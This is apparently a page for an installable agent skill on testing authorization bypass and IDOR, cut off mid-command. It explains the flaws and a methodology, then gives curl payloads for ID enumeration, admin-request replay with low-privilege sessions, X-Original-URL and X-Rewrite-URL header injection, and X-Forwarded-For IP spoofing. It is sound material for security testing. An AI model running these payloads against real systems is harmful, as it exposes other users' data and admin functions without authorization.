$npx -y skills add ShulkwiSEC/bb-huge --skill authz-bypassTest horizontal and vertical authorization bypass via session ID swapping between accounts, IDOR through parameter manipulation (invoice=, user=, menuitem=, EventID=), and special header injection (X-Original-URL, X-Rewrite-URL, X-Forwarded-For, X-Remote-IP, X-Client-IP with 127.
| 1 | # Authorization Bypass and IDOR |
| 2 | |
| 3 | ## What Is Broken and Why |
| 4 | |
| 5 | Access control failures occur when applications enforce authorization only at the UI layer, rely |
| 6 | on obscurity of object identifiers, or fail to validate that the requesting session owns the |
| 7 | referenced resource. Horizontal bypass allows users to access peer accounts' data by swapping |
| 8 | identifiers. Vertical bypass allows low-privileged users to invoke admin-only operations by |
| 9 | replaying high-privilege request structures with a low-privilege session. IDOR (Insecure Direct |
| 10 | Object Reference) exposes any predictable or discoverable resource identifier as a direct handle |
| 11 | to unauthorized data. Special request headers (`X-Original-URL`, `X-Rewrite-URL`) can override |
| 12 | routing in some reverse proxy configurations, bypassing ACL rules applied at the path level. |
| 13 | |
| 14 | ## Key Signals |
| 15 | |
| 16 | - Numeric or sequential IDs in URLs or parameters: `invoice=12345`, `user=100`, `EventID=1000001` |
| 17 | - Different accounts created at similar times with adjacent IDs |
| 18 | - Responses containing another user's PII, financial data, or account settings when ID swapped |
| 19 | - Admin-only actions (delete, promote, deactivate) accessible via session swap |
| 20 | - `X-Original-URL` or `X-Rewrite-URL` headers triggering 404 vs 403 — confirms header processing |
| 21 | - `X-Forwarded-For: 127.0.0.1` bypassing IP-based access restrictions to admin panels |
| 22 | - GUIDs or opaque tokens that, when substituted, return another user's object |
| 23 | - `menuitem=` or `accessPage=` parameters accepting values outside a user's visible menu set |
| 24 | - Password change endpoint accepting `user=` parameter without session-ownership validation |
| 25 | |
| 26 | ## Methodology |
| 27 | |
| 28 | 1. **Map object references**: During application use, record every parameter that references a |
| 29 | resource (document ID, user ID, order number, file name, menu item). |
| 30 | 2. **Create test accounts**: Register at least two accounts at different privilege levels; note |
| 31 | all object IDs each account owns. |
| 32 | 3. **Horizontal bypass**: With Account B's session, request objects owned by Account A by |
| 33 | substituting Account A's IDs. |
| 34 | 4. **Vertical bypass**: With low-privilege session, replay admin-only requests (delete, role |
| 35 | change, config update) captured from an admin session. |
| 36 | 5. **IDOR enumeration**: Increment/decrement integer IDs; test adjacent values; attempt GUID |
| 37 | prediction if UUIDs appear time-seeded. |
| 38 | 6. **Header injection test**: Send `X-Original-URL: /admin` and `X-Rewrite-URL: /admin` on a |
| 39 | request to `/`; 404 response (vs 403 on direct access) confirms header support. |
| 40 | 7. **IP spoofing header test**: Send `X-Forwarded-For: 127.0.0.1` on requests to IP-restricted |
| 41 | admin endpoints; observe access control difference. |
| 42 | 8. **POST-to-GET conversion**: Test if server accepts session ID or IDOR parameter via GET when |
| 43 | originally designed for POST. |
| 44 | |
| 45 | ## Payloads & Tools |
| 46 | |
| 47 | ```bash |
| 48 | # Horizontal IDOR — access another user's invoice |
| 49 | curl -s "https://TARGET/invoice?id=12345" \ |
| 50 | -H "Cookie: SessionID=ATTACKER_SESSION" |
| 51 | # Enumerate adjacent IDs |
| 52 | for id in $(seq 12340 12350); do |
| 53 | echo -n "ID $id: " |
| 54 | curl -s -o /dev/null -w "%{http_code}" \ |
| 55 | "https://TARGET/invoice?id=$id" \ |
| 56 | -H "Cookie: SessionID=ATTACKER_SESSION" |
| 57 | echo |
| 58 | done |
| 59 | |
| 60 | # Vertical bypass — low-priv session attempting admin delete |
| 61 | curl -X POST "https://TARGET/account/deleteEvent" \ |
| 62 | -H "Cookie: SessionID=CUSTOMER_USER_SESSION" \ |
| 63 | -d "EventID=1000002" |
| 64 | |
| 65 | # X-Original-URL header test (confirms if reverse proxy processes it) |
| 66 | curl -s -o /dev/null -w "%{http_code}" \ |
| 67 | "https://TARGET/" \ |
| 68 | -H "X-Original-URL: /admin/users" |
| 69 | |
| 70 | curl -s -o /dev/null -w "%{http_code}" \ |
| 71 | "https://TARGET/" \ |
| 72 | -H "X-Rewrite-URL: /admin/config" |
| 73 | |
| 74 | # X-Original-URL bypass attempt to restricted path |
| 75 | curl -s "https://TARGET/" \ |
| 76 | -H "X-Original-URL: /admin/dashboard" \ |
| 77 | -H "Cookie: SessionID=LOW_PRIV_SESSION" |
| 78 | |
| 79 | # IP spoofing via forwarding headers to bypass IP-based admin restriction |
| 80 | for header in "X-Forwarded-For" "X-Forward-For" "X-Remote-IP" "X-Originating-IP" \ |
| 81 | "X-Remote-Addr" "X-Client-IP"; do |
| 82 | echo -n "$header: " |
| 83 | curl -s -o /dev/null -w "%{http_code}" \ |
| 84 | "https://TARGET/admin/" \ |
| 85 | -H "$header: 127.0.0.1" |
| 86 | echo |
| 87 | done |
| 88 | |
| 89 | # IDOR on direct password change |
| 90 | curl -X POST "https://TARGET/changepassword" \ |
| 91 | -H "Cookie: SessionID= |